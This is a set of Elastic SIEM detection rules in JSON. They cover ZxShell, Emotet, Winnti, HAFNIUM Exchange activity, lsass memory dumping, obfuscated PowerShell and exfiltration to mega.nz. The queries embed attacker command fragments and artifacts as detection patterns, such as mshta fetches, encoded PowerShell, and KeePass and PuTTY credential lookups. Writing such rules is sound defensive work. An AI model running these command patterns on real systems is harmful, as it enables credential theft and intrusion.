{"description":"Detects a ZxShell start by the called and well-known function name Author: Florian Roth, oscd.community, Jonhnathan Ribeiro. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f0b70adb-0075-43b0-9745-e82a1c608fcc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"ZxShell Malware","query":"(process.executable:*\\\\rundll32.exe AND process.command_line:(*zxFunction* OR *RemoteDiskXXXXX*))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"6b14bac8-3e3a-4324-8109-42f0546a347f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Scheduled Cron Task/Job","query":"(process.executable:*crontab AND process.command_line:*\\/tmp\\/*)","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"7c3b43d8-d794-47d2-800a-d277715aa460","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Scheduled Cron Task/Job","query":"(process.executable:*\\/crontab AND process.command_line:*\\/tmp\\/*)","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1053"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user. Author: Den Iuzvyk. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ec985c74-1a1e-c71c-4d57-f4902f3206e8","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Abusing Azure Browser SSO","query":"(file.path:*MicrosoftAccountTokenProvider.dll AND (NOT (process.executable:(*\\\\BackgroundTaskHost.exe OR *\\\\devenv.exe OR *\\\\iexplore.exe OR *\\\\MicrosoftEdge.exe OR *\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe OR *\\\\AppData\\\\Local\\\\Microsoft\\\\OneDrive\\\\OneDrive.exe OR *\\\\msedgewebview2.exe OR *\\\\OneDrive.exe) OR process.executable:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\EdgeWebView\\\\Application\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects abusing Windows 10 Narrator's Feedback-Hub Author: Dmitriy Lifanov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6e70b526-38d4-68f0-974d-e0b25df141bf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Narrator's Feedback-Hub Persistence","query":"((winlog.event_data.EventType:\"DeleteValue\" AND winlog.event_data.TargetObject:*\\\\AppXypsaf9f1qserqevf0sws76dx4k9a5206\\\\Shell\\\\open\\\\command\\\\DelegateExecute) OR winlog.event_data.TargetObject:*\\\\AppXypsaf9f1qserqevf0sws76dx4k9a5206\\\\Shell\\\\open\\\\command\\\\\$Default\$)","meta":{"from":"1m"},"severity":"high","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Access to Domain Group Policies stored in SYSVOL Author: Markus Neis, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"05f3c945-dcc8-4393-9f3d-af65077a8f86","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious SYSVOL Domain Group Policy Access","query":"(process.command_line:*\\\\SYSVOL\\\\* AND process.command_line:*\\\\policies\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects actions caused by the RedMimicry Winnti playbook Author: Alexander Rausch. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6ee7f3ca-fe9d-e487-3279-6e5e4d7b9976","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RedMimicry Winnti Playbook Dropped File","query":"file.path:(*gthread\\-3.6.dll* OR *sigcmm\\-2.4.dll* OR *\\\\Windows\\\\Temp\\\\tmp.bat*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects actions caused by the RedMimicry Winnti playbook Author: Alexander Rausch. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f53c9dfe-759e-4286-1ed7-62d9ddbfc749","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RedMimicry Winnti Playbook Registry Manipulation","query":"winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Microsoft\\\\HTMLHelp\\\\data*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects actions caused by the RedMimicry Winnti playbook Author: Alexander Rausch. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1d06a4a5-5633-cc49-fe03-81d248013480","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"RedMimicry Winnti Playbook Execute","query":"(process.executable:(*rundll32.exe* OR *cmd.exe*) AND process.command_line:(*gthread\\-3.6.dll* OR *\\\\Windows\\\\Temp\\\\tmp.bat* OR *sigcmm\\-2.4.dll*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1106","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1106","name":"Native API","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects actions that clear the local ShimCache and remove forensic evidence Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e260e543-7e04-a386-ab4d-950944c3914f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"ShimCache Flush","query":"(process.command_line:*rundll32* AND ((process.command_line:*apphelp.dll* AND process.command_line:(*ShimFlushCache* OR *#250*)) OR (process.command_line:*kernel32.dll* AND process.command_line:(*BaseFlushAppcompatCache* OR *#46*))))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects activity mentioned in Operation Wocao report Author: Florian Roth, frack113. License: ","enabled":false,"false_positives":["Administrators that use checkadmin.exe tool to enumerate local administrators"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f165186-083a-dfc0-3aa5-0ecd69395306","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Operation Wocao Activity","query":"process.command_line:(*checkadmin.exe\\ 127.0.0.1\\ \\-all* OR *netsh\\ advfirewall\\ firewall\\ add\\ rule\\ name\\=powershell\\ dir\\=in* OR *cmd\\ \\/c\\ powershell.exe\\ \\-ep\\ bypass\\ \\-file\\ c\\:\\\\s.ps1* OR *\\/tn\\ win32times\\ \\/f* OR *create\\ win32times\\ binPath\\=* OR *\\\\c$\\\\windows\\\\system32\\\\devmgr.dll* OR *\\ \\-exec\\ bypass\\ \\-enc\\ JgAg* OR *type\\ *keepass\\\\KeePass.config.xml* OR *iie.exe\\ iie.txt* OR *reg\\ query\\ HKEY_CURRENT_USER\\\\Software\\\\*\\\\PuTTY\\\\Sessions\\\\*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1012","T1027","T1036","T1053","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""},{"id":"T1036","name":"Masquerading","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1012","name":"Query Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1baa5d0-f309-0712-b336-f3ed877dcb09","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Exchange Exploitation Activity","query":"((process.command_line:*attrib* AND process.command_line:*\\ \\+h\\ * AND process.command_line:*\\ \\+s\\ * AND process.command_line:*\\ \\+r\\ * AND process.command_line:*.aspx*) OR (process.command_line:*schtasks* AND process.command_line:*VSPerfMon*) OR (process.command_line:*vssadmin\\ list\\ shadows* AND process.command_line:*Temp\\\\__output*) OR process.command_line:*%TEMP%\\\\execute.bat* OR process.executable:*Users\\\\Public\\\\opera\\\\Opera_browser.exe OR (process.executable:*Opera_browser.exe AND process.parent.executable:(*\\\\services.exe OR *\\\\svchost.exe)) OR process.executable:*\\\\ProgramData\\\\VSPerfMon\\\\* OR (process.command_line:*\\ \\-t7z\\ * AND process.command_line:*C\\:\\\\Programdata\\\\pst* AND process.command_line:*\\\\it.zip*) OR (process.executable:*\\\\makecab.exe AND process.command_line:(*Microsoft\\\\Exchange\\ Server\\\\* OR *inetpub\\\\wwwroot*)) OR process.command_line:(*\\\\Temp\\\\xx.bat* OR *Windows\\\\WwanSvcdcs* OR *Windows\\\\Temp\\\\cw.exe*) OR (process.command_line:*\\\\comsvcs.dll* AND process.command_line:*Minidump* AND process.command_line:*\\\\inetpub\\\\wwwroot*) OR (process.command_line:*dsquery* AND process.command_line:*\\ \\-uco\\ * AND process.command_line:*\\\\inetpub\\\\wwwroot*))","meta":{"from":"1m"},"severity":"high","tags":["T1053","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""},{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects activity that could be related to Baby Shark malware Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2b30fa36-3a18-402f-a22d-bf4ce2189f35","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Baby Shark Activity","query":"process.command_line:(\"reg\\ query\\ \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Default\\\"\" OR powershell.exe\\ mshta.exe\\ http* OR \"cmd.exe\\ \\/c\\ taskkill\\ \\/im\\ cmd.exe\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1012","T1059","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""},{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1012","name":"Query Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects add-ins that load when Microsoft Word or Excel starts (.wll/.xll are simply .dll fit for Word or Excel). Author: NVISO. License: ","enabled":false,"false_positives":["Legitimate add-ins"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6e02b148-b406-512e-727f-32a258c6dcef","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Microsoft Office Add-In Loading","query":"(((file.path:*\\\\Microsoft\\\\Word\\\\Startup\\\\* AND file.path:*.wll) OR (file.path:*\\\\Microsoft\\\\Excel\\\\Startup\\\\* AND file.path:*.xll)) OR (file.path:*\\\\Microsoft\\\\Addins\\\\* AND file.path:(*.xlam OR *.xla)))","meta":{"from":"1m"},"severity":"high","tags":["T1137"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges. Author: Alejandro Ortuno, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"23c43900-e732-45a4-8354-63e4a6c187ce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"MacOS Emond Launch Daemon","query":"((file.path:*\\/etc\\/emond.d\\/rules\\/* AND file.path:*.plist) OR file.path:*\\/private\\/var\\/db\\/emondClients\\/*)","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects adversaries leveraging the MiniDump export function from comsvcs.dll via rundll32 to perform a memory dump from lsass. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a49fa4d5-11db-418c-8473-1e014a8dd462","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Lsass Memory Dump via Comsvcs DLL","query":"(winlog.event_data.TargetImage:*\\\\lsass.exe AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\rundll32.exe\" AND winlog.event_data.CallTrace:*comsvcs.dll*)","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects all Emotet like process executions that are not covered by the more generic rules Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d02e8cf5-6099-48cf-9bfc-1eec2d0c7b18","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Emotet Process Creation","query":"process.command_line:(*\\ \\-e*\\ PAA* OR *JABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQ* OR *QAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUA* OR *kAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlA* OR *IgAoACcAKgAnACkAOwAkA* OR *IAKAAnACoAJwApADsAJA* OR *iACgAJwAqACcAKQA7ACQA* OR *JABGAGwAeAByAGgAYwBmAGQ* OR *PQAkAGUAbgB2ADoAdABlAG0AcAArACgA* OR *0AJABlAG4AdgA6AHQAZQBtAHAAKwAoA* OR *9ACQAZQBuAHYAOgB0AGUAbQBwACsAKA*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block Author: Daniel Bohannon (@Mandiant/@FireEye), oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4bf943c6-5146-4273-98dd-e958fd1e3abf","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation Obfuscated IEX Invocation","query":"(process.command_line:/\\$PSHome\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$PSHome\\[/ OR process.command_line:/\\$ShellId\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$ShellId\\[/ OR process.command_line:/\\$env:Public\\[\\s*\\d{1,3}\\s*\\]\\s*\\+\\s*\\$env:Public\\[/ OR process.command_line:/\\$env:ComSpec\\[(\\s*\\d{1,3}\\s*,){2}/ OR process.command_line:/\\\\\\\\*mdr\\\\\\\\*\\W\\s*\\)\\.Name/ OR process.command_line:/\\$VerbosePreference\\.ToString\\(/ OR process.command_line:/\\\\\\\\String\\]\\s*\\$VerbosePreference/)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"26a18131-63fc-26d8-f0b1-139c072c47ce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Alternate PowerShell Hosts","query":"((winlog.event_data.Description:\"System.Management.Automation\" AND file.path:*System.Management.Automation*) AND (NOT (process.executable:(*\\\\powershell.exe OR *\\\\mscorsvw.exe) OR process.executable:(C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Program\\ Files\\\\Citrix\\\\ConfigSync\\\\*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe Author: Roberto Rodriguez @Cyb3rWard0g, Tim Shelton. License: ","enabled":false,"false_positives":["Programs using PowerShell directly without invocation of a dedicated interpreter."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f7999728-b776-899b-5cc0-a2490bd8ea04","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Alternate PowerShell Hosts Pipe","query":"(file.name:\\\\PSHost* AND (NOT ((process.executable:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\WINDOWS\\\\System32\\\\sdiagnhost.exe OR *\\\\WINDOWS\\\\System32\\\\wsmprovhost.exe OR *\\\\Windows\\\\system32\\\\dsac.exe OR *\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe OR *\\\\ForefrontActiveDirectoryConnector.exe OR *c\\:\\\\windows\\\\system32\\\\inetsrv\\\\w3wp.exe)) OR (NOT _exists_:process.executable) OR (process.executable:*\\:\\\\Program\\ Files* AND process.executable:*\\\\Microsoft\\ SQL\\ Server\\\\* AND process.executable:*\\\\Tools\\\\Binn\\\\SQLPS.exe) OR (process.executable:(C\\:\\\\Program\\ Files\\\\Citrix\\\\* OR C\\:\\\\Program\\ Files\\\\Microsoft\\\\Exchange\\ Server\\\\*)))))","meta":{"from":"1m"},"severity":"medium","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an attempt to execute code or create service on remote host via winrm.vbs. Author: Julia Fomina, oscd.community. License: ","enabled":false,"false_positives":["Legitimate use for administartive purposes. Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9df0dd3a-1a5c-47e3-a2bc-30ed177646a0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Remote Code Execute via Winrm.vbs","query":"(process.executable:*\\\\cscript.exe AND process.command_line:*winrm* AND process.command_line:*invoke\\ Create\\ wmicimv2\\/Win32_* AND process.command_line:*\\-r\\:http*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1216"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1216","name":"Signed Script Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292. You will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292. Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\". License: ","enabled":false,"false_positives":["You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.","Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.","It is highly recomended to baseline your activity and tune out common business use cases."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Excel Network Connections","query":"((process.executable:*\\\\excel.exe AND winlog.event_data.Initiated:\"true\" AND DestinationIsIpv6:\"false\") AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.0.0.1*) AND DestinationIsIpv6:\"false\")))","meta":{"from":"1m"},"severity":"medium","tags":["T1203"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1203","name":"Exploitation for Client Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors Author: Florian Roth. License: ","enabled":false,"false_positives":["Legitimate use of mega.nz uploaders and tools"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Communication To Mega.nz","query":"(winlog.event_data.Initiated:\"true\" AND destination.domain:*api.mega.co.nz)","meta":{"from":"1m"},"severity":"high","tags":["T1567"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1567","name":"Exfiltration Over Web Service","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects an executable in the users directory started from Microsoft Word, Excel, Powerpoint, Publisher or Visio Author: Jason Lynch. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aa3a6f94-890e-4e22-b634-ffdfd54792cc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"MS Office Product Spawning Exe in User Dir","query":"((process.parent.executable:(*\\\\WINWORD.EXE OR *\\\\EXCEL.EXE OR *\\\\POWERPNT.exe OR *\\\\MSPUB.exe OR *\\\\VISIO.exe) AND process.executable:C\\:\\\\users\\\\* AND process.executable:*.exe) AND (NOT (process.executable:*\\\\Teams.exe)))","meta":{"from":"1m"},"severity":"high","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
